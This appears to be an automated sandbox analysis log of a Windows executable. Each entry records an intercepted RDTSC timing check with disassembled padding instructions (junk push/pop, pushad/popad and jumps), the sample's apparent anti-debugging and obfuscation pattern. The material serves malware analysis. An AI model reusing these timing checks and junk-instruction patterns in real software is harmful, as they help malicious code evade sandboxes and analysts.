Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E9CC6A second address: E9CC83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD00757C9Eh 0x00000009 pop ecx 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E9CC83 second address: E9CCA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FAD011DC396h 0x0000000a pop eax 0x0000000b jmp 00007FAD011DC3A2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E9C993 second address: E9C997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EA10AC second address: EA10B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EA0F4C second address: EA0F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD00757CA7h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EA6CA7 second address: EA6CB1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAD011DC39Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EA6CB1 second address: EA6CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FAD00757C9Dh 0x0000000f jmp 00007FAD00757C9Dh 0x00000014 jl 00007FAD00757C96h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EA6CDD second address: EA6CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAD011DC3A0h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EA6CF4 second address: EA6CF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EA6CF8 second address: EA6CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EAF111 second address: EAF115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EAF115 second address: EAF119 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB2B24 second address: EB2B46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757C9Ah 0x00000007 push esi 0x00000008 jmp 00007FAD00757C9Ah 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB9146 second address: EB914A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB914A second address: EB916F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAD00757CA5h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007FAD00757C96h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB7BBF second address: EB7BE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FAD011DC3B4h 0x0000000c jmp 00007FAD011DC3A4h 0x00000011 jmp 00007FAD011DC39Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB7BE9 second address: EB7BEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB7BEF second address: EB7BFD instructions: 0x00000000 rdtsc 0x00000002 je 00007FAD011DC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB7BFD second address: EB7C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB7C01 second address: EB7C07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB7D79 second address: EB7DA2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAD00757CA8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAD00757C9Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB7DA2 second address: EB7DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB7F05 second address: EB7F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB7F0B second address: EB7F11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB807A second address: EB8083 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB81D3 second address: EB81DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB81DB second address: EB81DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB81DF second address: EB81E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB8391 second address: EB8397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB8397 second address: EB839C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB839C second address: EB83A1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB852C second address: EB8537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB8537 second address: EB856F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jc 00007FAD00757C96h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jc 00007FAD00757C96h 0x00000015 jmp 00007FAD00757CA6h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d push eax 0x0000001e jo 00007FAD00757C96h 0x00000024 push esi 0x00000025 pop esi 0x00000026 pop eax 0x00000027 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EB8E3F second address: EB8E7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAD011DC3A9h 0x0000000a jmp 00007FAD011DC39Eh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007FAD011DC39Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EBA7F1 second address: EBA801 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757C9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EBDF0F second address: EBDF15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EBDF15 second address: EBDF1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EBDACF second address: EBDAE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FAD011DC396h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EBDAE0 second address: EBDAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EBDAE6 second address: EBDAEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EDE22D second address: EDE239 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAD00757C96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EDDD0E second address: EDDD12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EDDD12 second address: EDDD27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FAD00757C96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EDDD27 second address: EDDD2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EDDD2B second address: EDDD63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD00757CA9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FAD00757CA9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EDDD63 second address: EDDD87 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAD011DC3AEh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EDDD87 second address: EDDD91 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAD00757C96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EF65EB second address: EF65EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EF6C13 second address: EF6C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EF6F14 second address: EF6F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EF70BF second address: EF70C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EF70C5 second address: EF70CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EF70CA second address: EF70DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FAD00757C9Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EF70DE second address: EF711A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAD011DC396h 0x00000008 jmp 00007FAD011DC39Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push edx 0x00000013 jnc 00007FAD011DC396h 0x00000019 pop edx 0x0000001a jne 00007FAD011DC3A6h 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EF711A second address: EF7120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EFA009 second address: EFA00D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EFA00D second address: EFA014 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EFA32B second address: EFA33B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD011DC39Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EFCCDC second address: EFCCEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD00757C9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EFEB57 second address: EFEB6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC39Ch 0x00000007 jbe 00007FAD011DC396h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: EFEB6D second address: EFEB73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F50ED6 second address: 4F50EF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD011DC3A6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F50EF0 second address: 4F50F29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FAD00757CA7h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAD00757CA5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F40CA1 second address: 4F40CE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAD011DC39Fh 0x00000009 and al, 0000007Eh 0x0000000c jmp 00007FAD011DC3A9h 0x00000011 popfd 0x00000012 push eax 0x00000013 pop edx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 mov edx, 652B95DEh 0x0000001e mov ecx, ebx 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F40CE7 second address: 4F40CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F40CEB second address: 4F40D05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F40D05 second address: 4F40D0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F40D0B second address: 4F40D2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAD011DC3A4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F80847 second address: 4F8084B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F8084B second address: 4F80851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F80851 second address: 4F808B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FAD00757CA0h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov di, 0E64h 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 mov cx, 330Bh 0x0000001c mov ah, F4h 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 jmp 00007FAD00757CA3h 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a jmp 00007FAD00757C9Bh 0x0000002f pushad 0x00000030 popad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F808B3 second address: 4F808C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD011DC3A2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F200C3 second address: 4F200DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD00757CA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F200DB second address: 4F2011D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FAD011DC3A9h 0x00000011 xchg eax, ebp 0x00000012 jmp 00007FAD011DC39Eh 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F2011D second address: 4F20121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20121 second address: 4F2013E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F2013E second address: 4F2016D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c jmp 00007FAD00757C9Eh 0x00000011 push dword ptr [ebp+0Ch] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F2016D second address: 4F2018A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F40A36 second address: 4F40A46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD00757C9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F40A46 second address: 4F40A8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FAD011DC3A6h 0x00000011 push eax 0x00000012 pushad 0x00000013 movsx ebx, ax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FAD011DC3A8h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F40A8D second address: 4F40ABA instructions: 0x00000000 rdtsc 0x00000002 mov bh, ch 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FAD00757C9Dh 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 movzx ecx, bx 0x00000013 push eax 0x00000014 push edx 0x00000015 call 00007FAD00757C9Fh 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F40651 second address: 4F40655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F40655 second address: 4F40659 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F40659 second address: 4F4065F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F40516 second address: 4F4057A instructions: 0x00000000 rdtsc 0x00000002 mov dl, ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FAD00757C9Dh 0x0000000c adc ah, FFFFFF96h 0x0000000f jmp 00007FAD00757CA1h 0x00000014 popfd 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FAD00757CA3h 0x00000020 add si, 05CEh 0x00000025 jmp 00007FAD00757CA9h 0x0000002a popfd 0x0000002b pushad 0x0000002c popad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F4057A second address: 4F40580 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F40580 second address: 4F405F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov ebx, 6B173242h 0x00000012 mov edi, 7E6A308Eh 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a mov cx, bx 0x0000001d pushfd 0x0000001e jmp 00007FAD00757CA7h 0x00000023 add ch, FFFFFFEEh 0x00000026 jmp 00007FAD00757CA9h 0x0000002b popfd 0x0000002c popad 0x0000002d mov ebp, esp 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FAD00757C9Dh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F405F8 second address: 4F405FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F405FE second address: 4F40602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F4033C second address: 4F4035F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, EDD5h 0x00000007 movzx eax, bx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAD011DC3A3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F4035F second address: 4F40365 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
